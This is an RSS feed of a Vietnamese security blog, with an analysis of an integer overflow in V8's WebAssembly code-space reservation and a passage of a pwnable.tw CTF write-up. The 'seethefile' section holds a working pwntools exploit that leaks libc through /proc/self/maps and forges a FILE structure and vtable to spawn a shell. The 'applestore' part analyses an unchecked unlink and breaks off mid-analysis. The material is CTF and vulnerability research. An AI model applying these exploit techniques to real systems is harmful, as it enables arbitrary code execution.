<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[niddalA]]></title><description><![CDATA[Security Research, Hardware Sercurity, Pwn Player, CTF write-ups & personal projects]]></description><link>https://niddala.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6aa7d555802931d57df3084c/aac776c9-af6c-427f-a3e2-b8a4e5cced41.jpg</url><title>niddalA</title><link>https://niddala.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 24 Sep 2026 20:07:43 GMT</lastBuildDate><atom:link href="https://niddala.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Research on CVE-2026-19174]]></title><description><![CDATA[Nghiên cứu CVE-2026-19174
Lỗ hổng
Một lỗ hổng cực kì đơn giản xuất hiện trong V8 JavaScript engine đó là lỗi Interger Overflow ở trong WebAssembly code space reservation tồn tại trong 4 năm kể từ cuối]]></description><link>https://niddala.hashnode.dev/research-on-cve-2026-19174</link><guid isPermaLink="true">https://niddala.hashnode.dev/research-on-cve-2026-19174</guid><category><![CDATA[CVE]]></category><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Fri, 18 Sep 2026 10:06:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/499ddb60-7092-4e3d-a1ee-067565776992.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Nghiên cứu CVE-2026-19174</h1>
<h2>Lỗ hổng</h2>
<p>Một lỗ hổng cực kì đơn giản xuất hiện trong V8 JavaScript engine đó là lỗi Interger Overflow ở trong WebAssembly code space reservation tồn tại trong 4 năm kể từ cuối năm 2022, điều bất ngờ là lỗ hổng này không phải nhận luồng nhập từ hacker hay bị tấn công, bản thân nó đã là bị lỗi ngay khi phát hành.</p>
<p>Đoạn code chứa lỗi:</p>
<pre><code class="language-cpp">DeserializationUnit NativeModuleDeserializer::ReadCode(int fn_index,
                                                       Reader* reader) {
  uint8_t code_kind = reader-&gt;Read&lt;uint8_t&gt;();
  if (code_kind == kLazyFunction) {
    lazy_functions_.push_back(fn_index);
    return {};
  }
  if (code_kind == kEagerFunction) {
    eager_functions_.push_back(fn_index);
    return {};
  }

  int constant_pool_offset = reader-&gt;Read&lt;int&gt;();
  int safepoint_table_offset = reader-&gt;Read&lt;int&gt;();
  int handler_table_offset = reader-&gt;Read&lt;int&gt;();
  int code_comment_offset = reader-&gt;Read&lt;int&gt;();
  int unpadded_binary_size = reader-&gt;Read&lt;int&gt;();
  int stack_slot_count = reader-&gt;Read&lt;int&gt;();
  uint32_t tagged_parameter_slots = reader-&gt;Read&lt;uint32_t&gt;();
  int code_size = reader-&gt;Read&lt;int&gt;();
  int reloc_size = reader-&gt;Read&lt;int&gt;();
  int source_position_size = reader-&gt;Read&lt;int&gt;();
  int protected_instructions_size = reader-&gt;Read&lt;int&gt;();
  WasmCode::Kind kind = reader-&gt;Read&lt;WasmCode::Kind&gt;();
  ExecutionTier tier = reader-&gt;Read&lt;ExecutionTier&gt;();

  DCHECK(IsAligned(code_size, kCodeAlignment));
  DCHECK_GE(remaining_code_size_, code_size);
  if (current_code_space_.size() &lt; static_cast&lt;size_t&gt;(code_size)) {
    // Allocate the next code space. Don't allocate more than 90% of
    // {kMaxCodeSpaceSize}, to leave some space for jump tables.
    size_t max_reservation = RoundUp&lt;kCodeAlignment&gt;(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
    size_t code_space_size = std::min(max_reservation, remaining_code_size_);
    std::tie(current_code_space_, current_jump_tables_) =
        native_module_-&gt;AllocateForDeserializedCode(code_space_size);
    DCHECK_EQ(current_code_space_.size(), code_space_size);
    CHECK(current_jump_tables_.is_valid());
  }
</code></pre>
<p>Nhìn qua hàm <code>NativeModuleDeserializer::ReadCode</code> có chức năng chính là giải mã và nạp mã máy của các hàm WebAssembly từ dữ liệu bộ nhớ đệm vào không gian bộ nhớ thực thi của V8.</p>
<p>Các chức năng cụ thể của nó như:</p>
<ol>
<li>Đọc thuộc tính và kích thước hàm</li>
<li>Quản lý không gian bộ nhớ Code Space</li>
<li>Cấp phát bộ nhớ mới</li>
<li>Tạo đối tượng <code>DeserializationUnit</code></li>
</ol>
<p>Nhưng hàm này lại bị một lỗi nghiêm trọng</p>
<p>Cụ thể lỗi <code>interger overflow</code> ở đoạn code:</p>
<pre><code class="language-cpp">...
size_t max_reservation = RoundUp&lt;kCodeAlignment&gt;(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
...
</code></pre>
<p>Cụ thể ở đây:
<code>v8_flags.wasm_max_code_space_size_mb</code> là một số nguyên không dấu 32-bit với giá trị hằng số là <code>1024 = 2^10</code>
<code>MB</code> là một <code>constexpr int</code> có giá trị hằng số <code>1024 * 1024 = 2^20</code>
Khi thực hiện phép tính này ta có:</p>
<pre><code>2^10 * 2^20 * 9 = 9663676416
</code></pre>
<p>Tương đương với <code>921.6MiB</code>
Các biến số này đều là biến số 32-bit cho nên giá trị max của nó sẽ bằng:</p>
<pre><code>2^32-1 = 4294967295 #tương ứng với việc tất cả đều là bit số 1 (tất cả 32bit)
</code></pre>
<p><img src="https://hackmd.io/_uploads/rkIMtOcYMe.png" alt="image" />
khi ta cố gắng nhân một số nguyên vượt quá giá trị biểu diễn của một thanh ghi như vậy
Thanh ghi chỉ lấy giá trị đúng 32bit từ bit nhỏ nhất trở đi</p>
<p>Tức giá trị <code>9663676416</code> sẽ không được lưu một cách đúng đắn trong thanh ghi (vì vượt quá giới hạn biểu diễn của số nguyên/của thanh ghi)
<img src="https://hackmd.io/_uploads/S1aIYO5Kfl.png" alt="image" />
lúc này nó chỉ lấy 32bit kể từ bit nhỏ nhất tức giá trị:</p>
<pre><code>01000000000000000000000000000000
</code></pre>
<p>Tức là:
<img src="https://hackmd.io/_uploads/BJtXcuqKMx.png" alt="image" />
Đây là giá trị thực sự được lưu vào biến <code>max_reservation</code> là:</p>
<pre><code>1073741824/10 = 107374182
</code></pre>
<p>Tương đương <code>102.4MiB</code></p>
<p>Vậy ý đồ của lập trình viên là muốn tạo một con số cho biến <code>max_reservation = 966367641</code> nhưng giá trị thực tế mà nó nhận được lại là: <code>107374182</code></p>
<p>Điều này có nguy cơ gây ra overflow khiến hacker có thể ghi đè lên những vùng không cho phép cho phép quyền arbitrary read, write, open và có thể lên tới RCE nếu máy chủ cấu hình lỏng lẻo</p>
<p>Tiếp tục tìm kiếm xem biến này tiếp tục được sử dụng như thế nào trong engine:</p>
<pre><code class="language-cpp">...
    size_t max_reservation = RoundUp&lt;kCodeAlignment&gt;(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
    size_t code_space_size = std::min(max_reservation, remaining_code_size_);
    std::tie(current_code_space_, current_jump_tables_) =
        native_module_-&gt;AllocateForDeserializedCode(code_space_size);
    DCHECK_EQ(current_code_space_.size(), code_space_size);
    CHECK(current_jump_tables_.is_valid());
  }

  DeserializationUnit unit;
  unit.src_code_buffer = reader-&gt;ReadVector&lt;byte&gt;(code_size);
  auto reloc_info = reader-&gt;ReadVector&lt;byte&gt;(reloc_size);
  auto source_pos = reader-&gt;ReadVector&lt;byte&gt;(source_position_size);
  auto protected_instructions =
      reader-&gt;ReadVector&lt;byte&gt;(protected_instructions_size);

  base::Vector&lt;uint8_t&gt; instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;
...
</code></pre>
<p>Tìm trong mã nguồn của chương trình biến <code>max_reservation</code> chỉ tương tác với biến <code>code_space_size</code></p>
<p>Ta tìm hiểu xem chương trình sử dụng biến <code>code_space_size</code> ở những đâu:</p>
<p><img src="https://hackmd.io/_uploads/Sk3r8qjYMx.png" alt="image" /></p>
<p>Biến <code>code_space_size</code> chỉ được sử dụng ở đây hai dòng đáng chí ý ở đây là</p>
<ol>
<li><code>std::tie(current_code_space_, current_jump_tables_) =  native_module_-&gt;AllocateForDeserializedCode(code_space_size);</code></li>
<li><code>size_t code_space_size = std::min(max_reservation, remaining_code_size_);</code></li>
</ol>
<p>Ta có thể thấy ở đây lệnh:</p>
<pre><code class="language-cpp">size_t code_space_size = std::min(max_reservation, remaining_code_size_);
</code></pre>
<p>V8 muốn xin một vùng nhớ <code>code_space_size</code> đủ để chứa <code>remaining_code_size_</code> nhưng bây giờ biến <code>max_reservation</code> đã nhỏ đi rất nhiều so với dự định của người viết chương trình.</p>
<p>Lúc đó lệnh:</p>
<pre><code class="language-cpp">base::Vector&lt;uint8_t&gt; instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;
</code></pre>
<p>Cắt một đoạn vùng nhớ từ 0 đến <code>code_size</code> trong <code>current_code_space_</code> để chuẩn bị chép mã WASM nhưng giả định <code>code_size</code> lớn có thể lên tới 20000000 tức lớn hơn giá trị của <code>current_code_space_</code> lúc đó nó sẽ gây tràn bộ nhớ và hàng loạt lỗ hổng nguy hiểm khác. Đáng lẽ lúc này các hàm DCHECK sẽ ngăn chặn chuyện này lại nhưng khi ra bản Release tất cả hàm DCHECK đã bị xóa đi khiến chương trình xuất hiện lỗi.</p>
<p>Ở đây ta tiếp tục xem hàm <code>AllocateForDeserializedCode</code> làm gì với biến <code>code_space_size</code></p>
<p>Tìm trong chương trình ta tiếp tục mã nguồn của hàm <code>AllocateForDeserializedCode</code>:</p>
<pre><code class="language-cpp">std::pair&lt;base::Vector&lt;uint8_t&gt;, NativeModule::JumpTablesRef&gt;
NativeModule::AllocateForDeserializedCode(size_t total_code_size) {
  base::RecursiveMutexGuard guard{&amp;allocation_mutex_};
  base::Vector&lt;uint8_t&gt; code_space =
      code_allocator_.AllocateForCode(this, total_code_size);
  auto jump_tables =
      FindJumpTablesForRegionLocked(base::AddressRegionOf(code_space));
  return {code_space, jump_tables};
}
</code></pre>
<p>Ở ngoài ta thấy hàm này sẽ trả hai giá trị <code>code_space</code> và <code>jump_tables</code> lần lượt cho hai biến là <code>current_code_space_</code> và <code>current_jump_tables_</code></p>
<p>Mục đích của hàm này là trả đúng giá trị được yêu cầu = giá trị <code>code_space_size</code> nhưng đã giải thích ở trước biến <code>code_space_size</code> đã bị bóp nhỏ đi rất nhiều so với dự tính ban đầu của lập trình viên.</p>
<p>Cho nên <code>code_space</code> cũng nhỏ theo khi nó trả giá trị đó cho <code>current_code_space_</code> cũng bị nhỏ như thế</p>
<p>Tiếp tục đào sâu xem chương trình làm gì tiếp với biến <code>current_code_space_</code> không</p>
<p><img src="https://hackmd.io/_uploads/H1Qm_9iYfe.png" alt="image" /></p>
<p>Ta thấy ở ngay dưới đoạn mã có đoạn:</p>
<pre><code class="language-cpp">  base::Vector&lt;uint8_t&gt; instructions =
      current_code_space_.SubVector(0, code_size);
  current_code_space_ += code_size;
  remaining_code_size_ -= code_size;
</code></pre>
<p>Đi vào hàm <code>SubVector</code> xem nó thực sự làm gì</p>
<pre><code class="language-cpp">// [*] src/base/vector.h
Vector&lt;T&gt; SubVector(size_t from, size_t to) const {
  DCHECK_LE(from, to);
  DCHECK_LE(to, length_);        oversized span
  return Vector&lt;T&gt;(begin() + from, to - from);
}

Vector&lt;T&gt; operator+=(size_t offset) {
  DCHECK_LE(offset, length_);      
  start_ += offset;
  length_ -= offset;               //tính toán thành giá trị âm
  return *this;
}
</code></pre>
<p>Chú ý biến <code>current_code_space_</code> có kiểu dữ liệu do lập trình viên tự viết ra là <code>Vector</code> như đã trình bày bên trên cho nên phép <code>+=</code> cũng cần được định nghĩa trong mã nguồn.</p>
<p>Ở đây hàm <code>SubVector</code> trả về đối tượng vector từ from đến to:
Ở bản debug được quản lí rất chặt chẽ nhưng khi release tất cả hàm dcheck đã bị xóa khiến cho không kiểm tra <code>to</code> có lớn hơn <code>length_</code> không khi đó giả sử:
<code>current_code_space</code> có <code>length_ = 100</code> nhưng <code>code_size</code> là <code>offset</code> có giá trị tận <code>200</code> tức còn lớn hơn cả <code>length_</code> cho nên <code>length_</code> lúc này bị tính toán thành giá trị âm cụ thể là <code>-100</code> vì là biến 64bit nên bị tràn số âm 64bit nên biến có giá trị <code>2^64-100</code>,<code>length_</code> bây giờ có giá trị cực lớn còn <code>start_</code> vượt quá kích thước của <code>current_code_space</code>. Làm cho máy tính tưởng rằng <code>current_code_space</code> còn rất nhiều.</p>
<p>Phương thức <code>current_code_space_.size()</code> luôn trả về một con số siêu lớn.
Lúc này lệnh:</p>
<pre><code class="language-cpp">if (current_code_space_.size() &lt; static_cast&lt;size_t&gt;(code_size))
</code></pre>
<p>Sẽ luôn trả lại giá trị false khiến cho hàm <code>AllocateForDeserializedCode</code> vĩnh viện không được gọi khiến cho các hàm Wasm phía sau trong tệp serialized sẽ liên tục bị cắt ra nối tiếp nhau vượt xa ranh giới ban đầu ghi đè vào các vùng dữ liệu sau đó</p>
<p>Tại sao lập trình viên lại mắc lỗi sở đẳng như vậy hãy xem đoạn code sau:</p>
<pre><code class="language-cpp">// [*] src/wasm/wasm-code-manager.cc
  size_t max_code_batch_size = v8_flags.wasm_max_code_space_size_mb * MB / 2;
  size_t total_code_space = 0;
  for (auto&amp; result : results) {
    DCHECK(result.succeeded());
    size_t new_code_space =
        RoundUp&lt;kCodeAlignment&gt;(result.code_desc.instr_size);
    if (total_code_space + new_code_space &gt; max_code_batch_size) {
      // Split off the first part of the {results} vector and process it
      // separately. This method then continues with the rest.
      size_t split_point = &amp;result - results.begin();
      CHECK_WITH_MSG(
          split_point != 0,
          "A single code object needs more than half of the code space size");
      auto first_results = AddCompiledCode(results.SubVector(0, split_point));
</code></pre>
<p>Cụ thể chú ý lệnh này:</p>
<pre><code class="language-cpp">size_t max_code_batch_size = v8_flags.wasm_max_code_space_size_mb * MB / 2;
</code></pre>
<p>tương đương với:
<code>1024*1024*1024/2 = 536870912</code>
Tương đương với <code>512MiB</code>
<img src="https://hackmd.io/_uploads/SykBYKqFzl.png" alt="image" /></p>
<p>Chỉ cần 30bit để biểu diễn <code>max_code_batch_size</code> hoàn toàn nằm trong khả năng biểu diễn số nguyên không dấu (giới hạn là 2^32-1)</p>
<p>Ở đây lập trình viên cho giới hạn max không gian của một hàm là xấp xỉ <code>512MiB</code> luôn bé hơn con số current_code_space mà lập trình viên dự tính lên đến <code>912MiB</code> nhưng lỗi interger overflow đã làm hỏng giá trị này chỉ còn khoảng <code>102MiB</code> tức một vùng nhớ <code>512MiB</code> có thể được chép vào một vùng nhớ chỉ <code>102MiB</code> gây ra lỗi overflow cực kì nguy hiểm.</p>
]]></content:encoded></item><item><title><![CDATA[WRITE UP PWNABLE.TW]]></title><description><![CDATA[WRITE UP PWNABLE.TW
seethefile // challenge


Phân tích code

void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  EVP_PKEY_CTX *in_stack_ffffffc0;
  char array [32];
  undefined4 canary;
  undefined]]></description><link>https://niddala.hashnode.dev/write-up-pwnable-tw</link><guid isPermaLink="true">https://niddala.hashnode.dev/write-up-pwnable-tw</guid><dc:creator><![CDATA[Dân Hồ]]></dc:creator><pubDate>Mon, 14 Sep 2026 15:20:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6aa7d555802931d57df3084c/be648616-9b6c-44f6-8f72-ac96c0e29683.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>WRITE UP PWNABLE.TW</h1>
<h2>seethefile // challenge</h2>
<p><img src="https://hackmd.io/_uploads/BJcWGrkNzx.png" alt="image" />
<img src="https://hackmd.io/_uploads/SkbIMrJEzg.png" alt="image" /></p>
<h3>Phân tích code</h3>
<pre><code class="language-c">
void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  EVP_PKEY_CTX *in_stack_ffffffc0;
  char array [32];
  undefined4 canary;
  undefined1 *puStack_c;
  
  puStack_c = &amp;stack0x00000004;
  canary = *(undefined4 *)(in_GS_OFFSET + 0x14);
  init(in_stack_ffffffc0);
  welcome();
  do {
    menu();
    __isoc99_scanf(&amp;%s,array);
    iVar1 = atoi(array);
    switch(iVar1) {
    default:
      puts("Invaild choice");
      exit(0);
    case 1:
      openfile();
      break;
    case 2:
      readfile();
      break;
    case 3:
      writefile();
      break;
    case 4:
      closefile();
      break;
    case 5:
      printf("Leave your name :");
      __isoc99_scanf(&amp;%s,name); //bufferoverflow không kiểm soát độ dài biến name
      printf("Thank you %s ,see you next time\n",name);
      if (fp != (FILE *)0x0) {
        fclose(fp);
      }
      exit(0);
    }
  } while( true );
}


void menu(void) //menu

{
  puts("---------------MENU---------------");
  puts("  1. Open");
  puts("  2. Read");
  puts("  3. Write to screen");
  puts("  4. Close");
  puts("  5. Exit");
  puts("----------------------------------");
  printf("Your choice :");
  return;
}


int openfile(void) //hàm này cho mở một file nhưng không được chứa từ flag, tên file được nhập vào file name với độ dài là 63

{
  int iVar1;
  char *pcVar2;
  
  if (fp == (FILE *)0x0) {
    memset(magicbuf,0,400); //set magicbuf == 0 hàm memset nếu muốn điền một giá trị vào toàn bộ hoặc 1 phần của mảng cấu trúc void *memset(void *ptr, int value, size_t num);
    printf("What do you want to see :");
    __isoc99_scanf(&amp;%63s,filename);
    pcVar2 = strstr(filename,"flag"); //hàm này dùng để tìm chuỗi con trong chuỗi mẹ ví dụ tìm chuỗi flag trong filename
    if (pcVar2 != (char *)0x0) {
      puts("Danger !");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    fp = fopen(filename,"r");
    if (fp == (FILE *)0x0) {
      iVar1 = puts("Open failed");
    }
    else {
      iVar1 = puts("Open Successful");
    }
  }
  else {
    puts("You need to close the file first");
    iVar1 = 0;
  }
  return iVar1;
}


void readfile(void)

{
  size_t sVar1;
  
  memset(magicbuf,0,400); //set magicbuf == 0
  if (fp == (FILE *)0x0) {
    puts("You need to open a file first");
  }
  else {
    sVar1 = fread(magicbuf,399,1,fp); /* đọc biến magic buff kích thước 
    mỗi phần tử khi đọc là 399 đọc 1 phần tử thường thường sẽ trả về 
    số phần tử đọc được*/
    if (sVar1 != 0) {
      puts("Read Successful");
    }
  }
  return;
}

void writefile(void)

{
  char *pcVar1;
  
  pcVar1 = strstr(filename,"flag"); // tìm xem có chữ flag trong filename không
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strstr(magicbuf,"FLAG"); //tìm xem có chữ FLAG trong filename không
    if (pcVar1 == (char *)0x0) {
      pcVar1 = strchr(magicbuf,0x7d); //tìm xem có dấu '}' trong file name không
      if (pcVar1 == (char *)0x0) {
        puts(magicbuf); //nếu không sẽ in ra dữ liệu trong magicbuf
        return;
      }
    }
  }
  puts("you can\'t see it");
  exit(1);
}

void closefile(void)

{
  if (fp == (FILE *)0x0) {
    puts("Nothing need to close");
  }
  else {
    fclose(fp);
  }
  fp = (FILE *)0x0;
  return;
(địa chỉ thấp)magicbuf -&gt; name -&gt; fp(địa chỉ cao)
</code></pre>
<h3>Ý tưởng exploit</h3>
<p>Sau khi phân tích code ta thấy chương trình bị buffer overflow ở vùng .bss và biến name có thể ghi tràn qua biến fp</p>
<p>Offset để biến name có thể ghi đè đến biến fp là:</p>
<p><img src="https://hackmd.io/_uploads/SJDzXHyNMl.png" alt="image" /></p>
<p>vậy offset = 0x80 - 0x60 = 0x20 = 32 bytes</p>
<p>Ý tưởng là khi ta ấn option 5 chương trình thực hiện fclose(fp); nếu fp != (FILE *)0x0</p>
<p>Vậy thì khi fclose(fp) nó thực sẽ làm gì </p>
<p>Thứ tự sẽ là:</p>
<p>fclose(fp) -&gt; _IO_cleanup() -&gt; _IO_flush_all_lockp() -&gt; _IO_OVERFLOW(fp)</p>
<p>Vì fp là con trỏ kiểu FILE cho nên thứ tự close() file sẽ như này nó sẽ gọi hàm cleanup quét qua buffer xem có buffer nào còn dữ liệu để flush không.
Điều kiện để hàm _IO_OVERFLOW(fp) được gọi:</p>
<ol>
<li>_IO_write_base &lt; _IO_write_ptr (Đang ghi buffer)</li>
<li>_IO_mode &gt; 0 và _IO_read_base &lt; _IO_read_ptr (Đang đọc buffer)</li>
</ol>
<p>Vì chương trình đang chạy libc phiên bản thấp và chưa có cơ chế vtable check ta có thể fake vtable và _IO_jump_t để chương trình chạy theo ý muốn của mình</p>
<p>Ý tưởng là:
Đầu tiên ta muốn ghi địa chỉ system vào _IO_OVERFLOW trong bảng vtable giả của chúng ta nằm ở offset </p>
<h3>PAYLOAD</h3>
<pre><code class="language-python">from pwn import *

p = remote("chall.pwnable.tw",10200)

libc = ELF("./libc_32.so.6")

# ---------------- Leak libc ----------------

p.sendlineafter(b"Your choice :", b"1")
p.sendlineafter(b"What do you want to see :", b"/proc/self/maps")

p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Your choice :", b"3")

p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Your choice :", b"3")

p.recvline()

libc_base = int(b"0x" + p.recvuntil(b"-", drop=True),16)
libc.address = libc_base

log.success("libc : %#x" % libc.address)

# ---------------- Close ----------------

p.sendlineafter(b"Your choice :", b"4")

# ---------------- Fake FILE ----------------

fake = FileStructure()

fake.flags        = u32(b"/bin")
fake._IO_read_ptr = u32(b"/sh\x00")

fake.vtable = 0x804b310 + 12 - 0x44
fake._lock  = 0x804b518

payload  = b"A"*32
payload += p32(0x804b280 + 4)
payload += bytes(fake)
payload += p32(libc.sym["system"])


# ---------------- Trigger ----------------

p.sendlineafter(b"Your choice :", b"5")
p.sendlineafter(b"Leave your name :", payload)

p.interactive()
</code></pre>
<h2>applestore</h2>
<p><img src="https://hackmd.io/_uploads/ryzeyWyLzg.png" alt="image" /></p>
<h3>Overview</h3>
<p><img src="https://hackmd.io/_uploads/HJFLJZJLGg.png" alt="image" />
Ta thấy chương trình No PIE + Partial RELRO gợi ý về việc overwrite GOT address</p>
<h3>Source Code</h3>
<pre><code class="language-c">void main(void)

{
  signal(0xe,timeout);
  alarm(0x3c);// cho phép ta tưởng tác với chương trình trong 60s
  memset(myCart,0,0x10); //set mảng mycart thành 0 hết
  menu();
  handler();
  return;
}

void menu(void)

{
  puts("=== Menu ===");
  printf("%d: Apple Store\n",1);
  printf("%d: Add into your shopping cart\n",2);
  printf("%d: Remove from your shopping cart\n",3);
  printf("%d: List your shopping cart\n",4);
  printf("%d: Checkout\n",5);
  printf("%d: Exit\n",6);
  return;
}


void handler(void) //6 option ứng với 6 menu

{
  int iVar1;
  int in_GS_OFFSET;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  do {
    printf("&gt; ");
    fflush(stdout);
    my_read(input,0x15);
    iVar1 = atoi(input);
    switch(iVar1) {
    default:
      puts("It\'s not a choice! Idiot.");
      break;
    case 1: //option cho vui
      list();
      break;
    case 2: //thêm vào giỏ hàng
      add();
      break;
    case 3:
      delete(); //xóa khỏi giỏ hàng
      break;
    case 4:
      cart(); //xem xem trong giỏ hàng có gì
      break;
    case 5:
      checkout(); //thanh toán
      break;
    case 6:
      puts("Thank You for Your Purchase!");
      if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  } while( true );
}


void my_read(void *param_1,size_t param_2)

{
  ssize_t sVar1;
  
  sVar1 = read(0,param_1,param_2);
  if (sVar1 == -1) {
    puts("Input Error.");
  }
  else {
    *(undefined1 *)((int)param_1 + sVar1) = 0;
  }
  return;
} //với mảng 22 phần tử và chỉ đọc với array[21] = với mảng nên không có buffer overflow nhưng nêu có thêm lệnh in cái input này ra có thể sẽ leak được sau mảng input nếu ta nhập đầy vì read() không tự thêm '/0'

void list(void) //số iphone có trong cửa hàng

{
  puts("=== Device List ===");
  printf("%d: iPhone 6 - $%d\n",1,199);
  printf("%d: iPhone 6 Plus - $%d\n",2,299);
  printf("%d: iPad Air 2 - $%d\n",3,499);
  printf("%d: iPad Mini 3 - $%d\n",4,399);
  printf("%d: iPod Touch - $%d\n",5,199);
  return;
}


void add(void) //chức năng thêm iphone vào giỏ hàng

{
  int iVar1;
  int in_GS_OFFSET;
  undefined4 *local_30;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Device Number&gt; ");
  fflush(stdout);
  my_read(input,0x15);
  iVar1 = atoi(input); //xem xem muốn mua cái iphone nào
  switch(iVar1) { 
  default:
    puts("Stop doing that. Idiot!");
    goto LAB_08048986;
  case 1:
    local_30 = (undefined4 *)create("iPhone 6",199);
    break;
  case 2:
    local_30 = (undefined4 *)create("iPhone 6 Plus",299);
    break;
  case 3:
    local_30 = (undefined4 *)create("iPad Air 2",499);
    break;
  case 4:
    local_30 = (undefined4 *)create("iPad Mini 3",399);
    break;
  case 5:
    local_30 = (undefined4 *)create("iPod Touch",199);
  }
  insert(local_30);
  printf("You\'ve put *%s* in your shopping cart.\n",*local_30);
  puts("Brilliant! That\'s an amazing idea.");
LAB_08048986:
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


char ** create(undefined4 param_1,char *param_2)

{
  char **__ptr;
  
  __ptr = malloc(0x10);
  __ptr[1] = param_2; //từ vùng user ở offset 0x4 lưu giá tiền 
  asprintf(__ptr,"%s",param_1); //offset không lưu tên Iphone
  __ptr[2] = (char *)0x0; //offset 0x8 và 0x12 lưu hai giá trị 0
  __ptr[3] = (char *)0x0;
  return __ptr;
}


void insert(int param_1) //hàm này chắc là insert vào giỏ hàng

{
  undefined1 *local_8;
  
  for (local_8 = myCart; *(int *)(local_8 + 8) != 0; local_8 = *(undefined1 **)(local_8 + 8)) {
  } //for chạy đến khi nào mà mycart khác 
  *(int *)(local_8 + 8) = param_1; //lưu fd là khối heap mới ngay sau khối hiện tại
  *(undefined1 **)(param_1 + 12) = local_8; //lưu bk vào khối heap ngay sau = &amp;local8
  return;
}


void delete(void)

{
  int iVar1;
  int iVar2;
  int in_GS_OFFSET;
  int i;
  undefined4 *local_38;
  char input [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  i = 1;
  local_38 = (undefined4 *)myCart._8_4_; //chắc là duyệt qua mảng mycart khi đã add ở trên
  printf("Item Number&gt; "); //
  fflush(stdout);
  my_read(input,0x15);
  iVar2 = atoi(input);
  do {
    if (local_38 == (undefined4 *)0x0) { //nếu vị trí đó có giá trị 0
LAB_08048a5e:
      if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    if (i == iVar2) { //nếu i bằng vị trí mình nhập vào
      iVar2 = local_38[2];
      iVar1 = local_38[3];
      if (iVar1 != 0) {
        *(int *)(iVar1 + 8) = iVar2;
      }
      if (iVar2 != 0) {
        *(int *)(iVar2 + 0xc) = iVar1;
      } //cơ chế unlink của danh sách liên kết đôi nhưng nó chả thèm kiểm tra cho nên nếu thao túng được fd và bk thì có arbitrary write
      printf("Remove %d:%s from your shopping cart.\n",i,*local_38);
      goto LAB_08048a5e;
    }
    i = i + 1; //duyệt đến khi gặp đúng hết mảng
    local_38 = (undefined4 *)local_38[2];
  } while( true );
}


int cart(void)

{
  int in_GS_OFFSET;
  int i;
  int local_30;
  undefined4 *local_2c;
  char local_26 [22];
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  i = 1;
  local_30 = 0;
  printf("Let me check your cart. ok? (y/n) &gt; ");
  fflush(stdout);
  my_read(local_26,0x15);
  if (local_26[0] == 'y') {
    puts("==== Cart ====");
    for (local_2c = (undefined4 *)myCart._8_4_; local_2c != (undefined4 *)0x0;
        local_2c = (undefined4 *)local_2c[2]) {
      printf("%d: %s - $%d\n",i,*local_2c,local_2c[1]);
      local_30 = local_30 + local_2c[1];
      i = i + 1;
    }
  }
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_30;
}


void checkout(void)

{
  int in_GS_OFFSET;
  int local_2c;
  char *local_24;
  undefined4 local_20;
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  local_2c = cart();
  if (local_2c == 0x1c06) {
    puts("*: iPhone 8 - $1");
    asprintf(&amp;local_24,"%s","iPhone 8");
    local_20 = 1;
    insert(&amp;local_24); //lúc này địa chỉ là địa chỉ stack =&gt; lưu fd ở khối trước là địa chỉ local_24 và lưu bk ở offset &amp;local24 + 0xc là địa chỉ khối trước
    local_2c = 0x1c07;
  }
  printf("Total: $%d\n",local_2c);
  puts("Want to checkout? Maybe next time!");
  if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
} //còn một lỗi sau khi checkout là khi return lại handler local 24 và 20 không tồn tại nhưng linked list vẫn giữ con trỏ tới đó (Use - After - Return) 
</code></pre>
<h3>Analyse</h3>
<p>Sau khi phân tích source code thì ta có một vài điểm đáng chú ý sau</p>
<h4>Hàm checkout():</h4>
<pre><code class="language-c">void checkout(void)

{
  int in_GS_OFFSET;
  int local_2c;
  char *local_24;
  undefined4 local_20;
  int canary;
  
  canary = *(int *)(in_GS_OFFSET + 0x14);
  local_2c = cart();
  if (local_2c == 0x1c06) {
    puts("*: iPhone 8 - $1");
    asprintf(&amp;local_24,"%s","iPhone 8");
    local_20 = 1;
    insert(&amp;local_24); //lúc này địa chỉ là địa chỉ stack =&gt; lưu fd ở khối trước là địa chỉ local_24 và lưu bk ở offset &amp;local24 + 0xc là địa chỉ khối trước
    local_2c = 0x1c07;
  }
  printf("Total: $%d\n",local_2c);
